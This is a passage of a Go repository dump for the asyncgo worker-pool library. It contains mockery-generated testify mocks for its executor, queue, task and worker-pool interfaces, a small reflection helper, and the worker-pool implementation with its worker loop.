14 | // Executor is an autogenerated mock type for the Executor type
15 | type Executor struct {
16 | mock.Mock
17 | }
18 |
19 | // NewFixedWorkerPool provides a mock function with given fields: ctx, options
20 | func (_m *Executor) NewFixedWorkerPool(ctx context.Context, options *commons.Options) asyncgo.WorkerPool {
21 | ret := _m.Called(ctx, options)
22 |
23 | if len(ret) == 0 {
24 | panic("no return value specified for NewFixedWorkerPool")
25 | }
26 |
27 | var r0 asyncgo.WorkerPool
28 | if rf, ok := ret.Get(0).(func(context.Context, *commons.Options) asyncgo.WorkerPool); ok {
29 | r0 = rf(ctx, options)
30 | } else {
31 | if ret.Get(0) != nil {
32 | r0 = ret.Get(0).(asyncgo.WorkerPool)
33 | }
34 | }
35 |
36 | return r0
37 | }
38 |
39 | // Submit provides a mock function with given fields: function, args
40 | func (_m *Executor) Submit(function interface{}, args ...interface{}) *asyncgo.Future {
41 | var _ca []interface{}
42 | _ca = append(_ca, function)
43 | _ca = append(_ca, args...)
44 | ret := _m.Called(_ca...)
45 |
46 | if len(ret) == 0 {
47 | panic("no return value specified for Submit")
48 | }
49 |
50 | var r0 *asyncgo.Future
51 | if rf, ok := ret.Get(0).(func(interface{}, ...interface{}) *asyncgo.Future); ok {
52 | r0 = rf(function, args...)
53 | } else {
54 | if ret.Get(0) != nil {
55 | r0 = ret.Get(0).(*asyncgo.Future)
56 | }
57 | }
58 |
59 | return r0
60 | }
61 |
62 | // NewExecutor creates a new instance of Executor. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
63 | // The first argument is typically a *testing.T value.
64 | func NewExecutor(t interface {
65 | mock.TestingT
66 | Cleanup(func())
67 | }) *Executor {
68 | mock := &Executor{}
69 | mock.Mock.Test(t)
70 |
71 | t.Cleanup(func() { mock.AssertExpectations(t) })
72 |
73 | return mock
74 | }
75 |
--------------------------------------------------------------------------------
/mocks/ExecutorService.go:
--------------------------------------------------------------------------------
1 | // Code generated by mockery v2.43.2. DO NOT EDIT.
2 |
3 | package mocks
4 |
5 | import (
6 | asyncgo "github.com/enragedhumi/asyncgo"
7 | "github.com/enragedhumi/asyncgo/commons"
8 | mock "github.com/stretchr/testify/mock"
9 | )
10 |
11 | // ExecutorService is an autogenerated mock type for the ExecutorService type
12 | type ExecutorService struct {
13 | mock.Mock
14 | }
15 |
16 | // NewFixedWorkerPool provides a mock function with given fields: options
17 | func (_m *ExecutorService) NewFixedWorkerPool(options *commons.Options) asyncgo.WorkerPool {
18 | ret := _m.Called(options)
19 |
20 | if len(ret) == 0 {
21 | panic("no return value specified for NewFixedWorkerPool")
22 | }
23 |
24 | var r0 asyncgo.WorkerPool
25 | if rf, ok := ret.Get(0).(func(*commons.Options) asyncgo.WorkerPool); ok {
26 | r0 = rf(options)
27 | } else {
28 | if ret.Get(0) != nil {
29 | r0 = ret.Get(0).(asyncgo.WorkerPool)
30 | }
31 | }
32 |
33 | return r0
34 | }
35 |
36 | // Submit provides a mock function with given fields: function, args
37 | func (_m *ExecutorService) Submit(function interface{}, args ...interface{}) (*asyncgo.Future, error) {
38 | var _ca []interface{}
39 | _ca = append(_ca, function)
40 | _ca = append(_ca, args...)
41 | ret := _m.Called(_ca...)
42 |
43 | if len(ret) == 0 {
44 | panic("no return value specified for Submit")
45 | }
46 |
47 | var r0 *asyncgo.Future
48 | var r1 error
49 | if rf, ok := ret.Get(0).(func(interface{}, ...interface{}) (*asyncgo.Future, error)); ok {
50 | return rf(function, args...)
51 | }
52 | if rf, ok := ret.Get(0).(func(interface{}, ...interface{}) *asyncgo.Future); ok {
53 | r0 = rf(function, args...)
54 | } else {
55 | if ret.Get(0) != nil {
56 | r0 = ret.Get(0).(*asyncgo.Future)
57 | }
58 | }
59 |
60 | if rf, ok := ret.Get(1).(func(interface{}, ...interface{}) error); ok {
61 | r1 = rf(function, args...)
62 | } else {
63 | r1 = ret.Error(1)
64 | }
65 |
66 | return r0, r1
67 | }
68 |
69 | // NewExecutorService creates a new instance of ExecutorService. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
70 | // The first argument is typically a *testing.T value.
71 | func NewExecutorService(t interface {
72 | mock.TestingT
73 | Cleanup(func())
74 | }) *ExecutorService {
75 | mock := &ExecutorService{}
76 | mock.Mock.Test(t)
77 |
78 | t.Cleanup(func() { mock.AssertExpectations(t) })
79 |
80 | return mock
81 | }
82 |
--------------------------------------------------------------------------------
/mocks/Queue.go:
--------------------------------------------------------------------------------
1 | // Code generated by mockery v2.43.2. DO NOT EDIT.
2 |
3 | package mocks
4 |
5 | import (
6 | commons "github.com/enragedhumi/asyncgo/commons"
7 | internal "github.com/enragedhumi/asyncgo/internal"
8 |
9 | mock "github.com/stretchr/testify/mock"
10 |
11 | sync "sync"
12 | )
13 |
14 | // Queue is an autogenerated mock type for the Queue type
15 | type Queue struct {
16 | mock.Mock
17 | }
18 |
19 | // Pop provides a mock function with given fields:
20 | func (_m *Queue) Pop() *internal.Task {
21 | ret := _m.Called()
22 |
23 | if len(ret) == 0 {
24 | panic("no return value specified for Pop")
25 | }
26 |
27 | var r0 *internal.Task
28 | if rf, ok := ret.Get(0).(func() *internal.Task); ok {
29 | r0 = rf()
30 | } else {
31 | if ret.Get(0) != nil {
32 | r0 = ret.Get(0).(*internal.Task)
33 | }
34 | }
35 |
36 | return r0
37 | }
38 |
39 | // Process provides a mock function with given fields: wg, options
40 | func (_m *Queue) Process(wg *sync.WaitGroup, options *commons.Options) {
41 | _m.Called(wg, options)
42 | }
43 |
44 | // Push provides a mock function with given fields: task
45 | func (_m *Queue) Push(task *internal.Task) error {
46 | ret := _m.Called(task)
47 |
48 | if len(ret) == 0 {
49 | panic("no return value specified for Push")
50 | }
51 |
52 | var r0 error
53 | if rf, ok := ret.Get(0).(func(*internal.Task) error); ok {
54 | r0 = rf(task)
55 | } else {
56 | r0 = ret.Error(0)
57 | }
58 |
59 | return r0
60 | }
61 |
62 | // NewQueue creates a new instance of Queue. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
63 | // The first argument is typically a *testing.T value.
64 | func NewQueue(t interface {
65 | mock.TestingT
66 | Cleanup(func())
67 | }) *Queue {
68 | mock := &Queue{}
69 | mock.Mock.Test(t)
70 |
71 | t.Cleanup(func() { mock.AssertExpectations(t) })
72 |
73 | return mock
74 | }
75 |
--------------------------------------------------------------------------------
/mocks/Task.go:
--------------------------------------------------------------------------------
1 | // Code generated by mockery v2.43.2. DO NOT EDIT.
2 |
3 | package mocks
4 |
5 | import mock "github.com/stretchr/testify/mock"
6 |
7 | // Task is an autogenerated mock type for the Task type
8 | type Task struct {
9 | mock.Mock
10 | }
11 |
12 | // Execute provides a mock function with given fields:
13 | func (_m *Task) Execute() error {
14 | ret := _m.Called()
15 |
16 | if len(ret) == 0 {
17 | panic("no return value specified for Execute")
18 | }
19 |
20 | var r0 error
21 | if rf, ok := ret.Get(0).(func() error); ok {
22 | r0 = rf()
23 | } else {
24 | r0 = ret.Error(0)
25 | }
26 |
27 | return r0
28 | }
29 |
30 | // NewTask creates a new instance of Task. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
31 | // The first argument is typically a *testing.T value.
32 | func NewTask(t interface {
33 | mock.TestingT
34 | Cleanup(func())
35 | }) *Task {
36 | mock := &Task{}
37 | mock.Mock.Test(t)
38 |
39 | t.Cleanup(func() { mock.AssertExpectations(t) })
40 |
41 | return mock
42 | }
43 |
--------------------------------------------------------------------------------
/mocks/TaskQueue.go:
--------------------------------------------------------------------------------
1 | // Code generated by mockery v2.43.2. DO NOT EDIT.
2 |
3 | package mocks
4 |
5 | import (
6 | commons "github.com/enragedhumi/asyncgo/commons"
7 | internal "github.com/enragedhumi/asyncgo/internal"
8 |
9 | mock "github.com/stretchr/testify/mock"
10 |
11 | sync "sync"
12 | )
13 |
14 | // TaskQueue is an autogenerated mock type for the TaskQueue type
15 | type TaskQueue struct {
16 | mock.Mock
17 | }
18 |
19 | // Pop provides a mock function with given fields:
20 | func (_m *TaskQueue) Pop() *internal.Task {
21 | ret := _m.Called()
22 |
23 | if len(ret) == 0 {
24 | panic("no return value specified for Pop")
25 | }
26 |
27 | var r0 *internal.Task
28 | if rf, ok := ret.Get(0).(func() *internal.Task); ok {
29 | r0 = rf()
30 | } else {
31 | if ret.Get(0) != nil {
32 | r0 = ret.Get(0).(*internal.Task)
33 | }
34 | }
35 |
36 | return r0
37 | }
38 |
39 | // Process provides a mock function with given fields: wg, options
40 | func (_m *TaskQueue) Process(wg *sync.WaitGroup, options *commons.Options) {
41 | _m.Called(wg, options)
42 | }
43 |
44 | // Push provides a mock function with given fields: task
45 | func (_m *TaskQueue) Push(task *internal.Task) error {
46 | ret := _m.Called(task)
47 |
48 | if len(ret) == 0 {
49 | panic("no return value specified for Push")
50 | }
51 |
52 | var r0 error
53 | if rf, ok := ret.Get(0).(func(*internal.Task) error); ok {
54 | r0 = rf(task)
55 | } else {
56 | r0 = ret.Error(0)
57 | }
58 |
59 | return r0
60 | }
61 |
62 | // NewTaskQueue creates a new instance of TaskQueue. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
63 | // The first argument is typically a *testing.T value.
64 | func NewTaskQueue(t interface {
65 | mock.TestingT
66 | Cleanup(func())
67 | }) *TaskQueue {
68 | mock := &TaskQueue{}
69 | mock.Mock.Test(t)
70 |
71 | t.Cleanup(func() { mock.AssertExpectations(t) })
72 |
73 | return mock
74 | }
75 |
--------------------------------------------------------------------------------
/mocks/Worker.go:
--------------------------------------------------------------------------------
1 | // Code generated by mockery v2.43.2. DO NOT EDIT.
2 |
3 | package mocks
4 |
5 | import mock "github.com/stretchr/testify/mock"
6 |
7 | // Worker is an autogenerated mock type for the Worker type
8 | type Worker struct {
9 | mock.Mock
10 | }
11 |
12 | // NewWorker creates a new instance of Worker. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
13 | // The first argument is typically a *testing.T value.
14 | func NewWorker(t interface {
15 | mock.TestingT
16 | Cleanup(func())
17 | }) *Worker {
18 | mock := &Worker{}
19 | mock.Mock.Test(t)
20 |
21 | t.Cleanup(func() { mock.AssertExpectations(t) })
22 |
23 | return mock
24 | }
25 |
--------------------------------------------------------------------------------
/mocks/WorkerPool.go:
--------------------------------------------------------------------------------
1 | // Code generated by mockery v2.43.2. DO NOT EDIT.
2 |
3 | package mocks
4 |
5 | import (
6 | asyncgo "github.com/enragedhumi/asyncgo"
7 | mock "github.com/stretchr/testify/mock"
8 | )
9 |
10 | // WorkerPool is an autogenerated mock type for the WorkerPool type
11 | type WorkerPool struct {
12 | mock.Mock
13 | }
14 |
15 | // ChannelBufferSize provides a mock function with given fields:
16 | func (_m *WorkerPool) ChannelBufferSize() int64 {
17 | ret := _m.Called()
18 |
19 | if len(ret) == 0 {
20 | panic("no return value specified for ChannelBufferSize")
21 | }
22 |
23 | var r0 int64
24 | if rf, ok := ret.Get(0).(func() int64); ok {
25 | r0 = rf()
26 | } else {
27 | r0 = ret.Get(0).(int64)
28 | }
29 |
30 | return r0
31 | }
32 |
33 | // PoolSize provides a mock function with given fields:
34 | func (_m *WorkerPool) PoolSize() int64 {
35 | ret := _m.Called()
36 |
37 | if len(ret) == 0 {
38 | panic("no return value specified for PoolSize")
39 | }
40 |
41 | var r0 int64
42 | if rf, ok := ret.Get(0).(func() int64); ok {
43 | r0 = rf()
44 | } else {
45 | r0 = ret.Get(0).(int64)
46 | }
47 |
48 | return r0
49 | }
50 |
51 | // Shutdown provides a mock function with given fields:
52 | func (_m *WorkerPool) Shutdown() {
53 | _m.Called()
54 | }
55 |
56 | // Submit provides a mock function with given fields: function, args
57 | func (_m *WorkerPool) Submit(function interface{}, args ...interface{}) (*asyncgo.Future, error) {
58 | var _ca []interface{}
59 | _ca = append(_ca, function)
60 | _ca = append(_ca, args...)
61 | ret := _m.Called(_ca...)
62 |
63 | if len(ret) == 0 {
64 | panic("no return value specified for Submit")
65 | }
66 |
67 | var r0 *asyncgo.Future
68 | var r1 error
69 | if rf, ok := ret.Get(0).(func(interface{}, ...interface{}) (*asyncgo.Future, error)); ok {
70 | return rf(function, args...)
71 | }
72 | if rf, ok := ret.Get(0).(func(interface{}, ...interface{}) *asyncgo.Future); ok {
73 | r0 = rf(function, args...)
74 | } else {
75 | if ret.Get(0) != nil {
76 | r0 = ret.Get(0).(*asyncgo.Future)
77 | }
78 | }
79 |
80 | if rf, ok := ret.Get(1).(func(interface{}, ...interface{}) error); ok {
81 | r1 = rf(function, args...)
82 | } else {
83 | r1 = ret.Error(1)
84 | }
85 |
86 | return r0, r1
87 | }
88 |
89 | // Terminate provides a mock function with given fields:
90 | func (_m *WorkerPool) Terminate() {
91 | _m.Called()
92 | }
93 |
94 | // WaitAll provides a mock function with given fields:
95 | func (_m *WorkerPool) WaitAll() error {
96 | ret := _m.Called()
97 |
98 | if len(ret) == 0 {
99 | panic("no return value specified for WaitAll")
100 | }
101 |
102 | var r0 error
103 | if rf, ok := ret.Get(0).(func() error); ok {
104 | r0 = rf()
105 | } else {
106 | r0 = ret.Error(0)
107 | }
108 |
109 | return r0
110 | }
111 |
112 | // NewWorkerPool creates a new instance of WorkerPool. It also registers a testing interface on the mock and a cleanup function to assert the mocks expectations.
113 | // The first argument is typically a *testing.T value.
114 | func NewWorkerPool(t interface {
115 | mock.TestingT
116 | Cleanup(func())
117 | }) *WorkerPool {
118 | mock := &WorkerPool{}
119 | mock.Mock.Test(t)
120 |
121 | t.Cleanup(func() { mock.AssertExpectations(t) })
122 |
123 | return mock
124 | }
125 |
--------------------------------------------------------------------------------
/utils/utils.go:
--------------------------------------------------------------------------------
1 | package utils
2 |
3 | import "reflect"
4 |
5 | func GetResultInterface(result []reflect.Value) []interface{} {
6 | resultInterface := make([]interface{}, 0)
7 | for _, item := range result {
8 | resultInterface = append(resultInterface, item.Interface())
9 | }
10 | return resultInterface
11 | }
12 |
--------------------------------------------------------------------------------
/workers.go:
--------------------------------------------------------------------------------
1 | package asyncgo
2 |
3 | import (
4 | "context"
5 | "fmt"
6 | "github.com/enragedhumi/asyncgo/commons"
7 | "github.com/enragedhumi/asyncgo/internal"
8 | "log"
9 | "sync"
10 | "time"
11 | )
12 |
13 | //go:generate mockery --name=WorkerPool --output=./mocks --outpkg=mocks
14 | type WorkerPool interface {
15 | // Submit creates new task from function and adds to task queue. This does not execute the function instantaneously.
16 | // Will be eventually processed by the worker(s). For instantaneous execution, use Executor.Submit
17 | // instead
18 | Submit(function interface{}, args ...interface{}) (*Future, error)
19 | // PoolSize returns the current worker pool size
20 | PoolSize() int64
21 | // ChannelBufferSize returns the current channel buffer size
22 | ChannelBufferSize() int64
23 | // Shutdown guarantees all existing tasks will be executed.
24 | // No new task(s) will be added to the task queue.
25 | // Trying to Submit new task will return an error
26 | Shutdown()
27 | // Terminate terminates all the workers in worker pool - this is not graceful shutdown
28 | // Any existing task might not run if this method is called in the middle
29 | Terminate()
30 | // WaitAll waits until all futures done executing
31 | WaitAll() error
32 | }
33 |
34 | type WorkerPoolService struct {
35 | options *commons.Options
36 | taskChan *chan internal.Task
37 | shutDown *chan interface{}
38 | futures []*Future
39 | wg *sync.WaitGroup
40 | Cancel context.CancelFunc
41 | taskQueue internal.Queue
42 | }
43 |
44 | func NewWorkerPool(taskQueue internal.Queue, taskChan *chan internal.Task, wg *sync.WaitGroup, cancel context.CancelFunc, shutDown *chan interface{}) WorkerPool {
45 | return &WorkerPoolService{
46 | taskChan: taskChan,
47 | wg: wg,
48 | Cancel: cancel,
49 | taskQueue: taskQueue,
50 | shutDown: shutDown,
51 | futures: []*Future{},
52 | }
53 | }
54 |
55 | func (w *WorkerPoolService) Submit(function interface{}, args ...interface{}) (*Future, error) {
56 | resultChan := make(chan []interface{})
57 | errChan := make(chan error)
58 | task := internal.NewTask(resultChan, errChan, function, args)
59 | err := w.taskQueue.Push(&task)
60 | if err != nil {
61 | return nil, err
62 | }
63 | f := NewFuture(resultChan, errChan)
64 | w.futures = append(w.futures, f)
65 | return f, nil
66 | }
67 |
68 | func (w *WorkerPoolService) PoolSize() int64 {
69 | return w.options.WorkerCount
70 | }
71 |
72 | func (w *WorkerPoolService) ChannelBufferSize() int64 {
73 | return w.options.BufferSize
74 | }
75 |
76 | func (w *WorkerPoolService) Shutdown() {
77 | *w.shutDown <- true
78 | _ = w.WaitAll()
79 | }
80 |
81 | func (w *WorkerPoolService) Terminate() {
82 | w.Cancel()
83 | }
84 |
85 | func (w *WorkerPoolService) WaitAll() error {
86 | for i := 0; i < len(w.futures); i++ {
87 | err := w.futures[i].Wait()
88 | if err != nil {
89 | log.Println(err)
90 | return err
91 | }
92 | }
93 | return nil
94 | }
95 |
96 | //go:generate mockery --name=Worker --output=./mocks --outpkg=mocks
97 | type Worker interface {
98 | }
99 |
100 | type WorkerService struct {
101 | }
102 |
103 | // worker creates a new worker which processes tasks from tasks channel
104 | func worker(ctx context.Context, wg *sync.WaitGroup, tasks <-chan internal.Task, id int64) {
105 | log.Printf("worker %v started", id)
106 | defer wg.Done()
107 | for {
108 | select {
109 | case task, ok := <-tasks:
110 | if !ok {
111 | log.Printf("channel is closed, stopping worker %v", id)
112 | return
113 | }
114 | log.Println(fmt.Sprintf("Worker %d received task", id))
115 | if err := task.Execute(); err != nil {
116 | log.Println(fmt.Sprintf("Worker %d encountered error: %v", id, err))
117 | }
118 | case <-ctx.Done():
119 | log.Println("worker", id, "exiting - context canceled")
120 | return
121 | default:
122 | time.Sleep(1 * time.Second)
123 | }
124 | }
125 | }
126 |
--------------------------------------------------------------------------------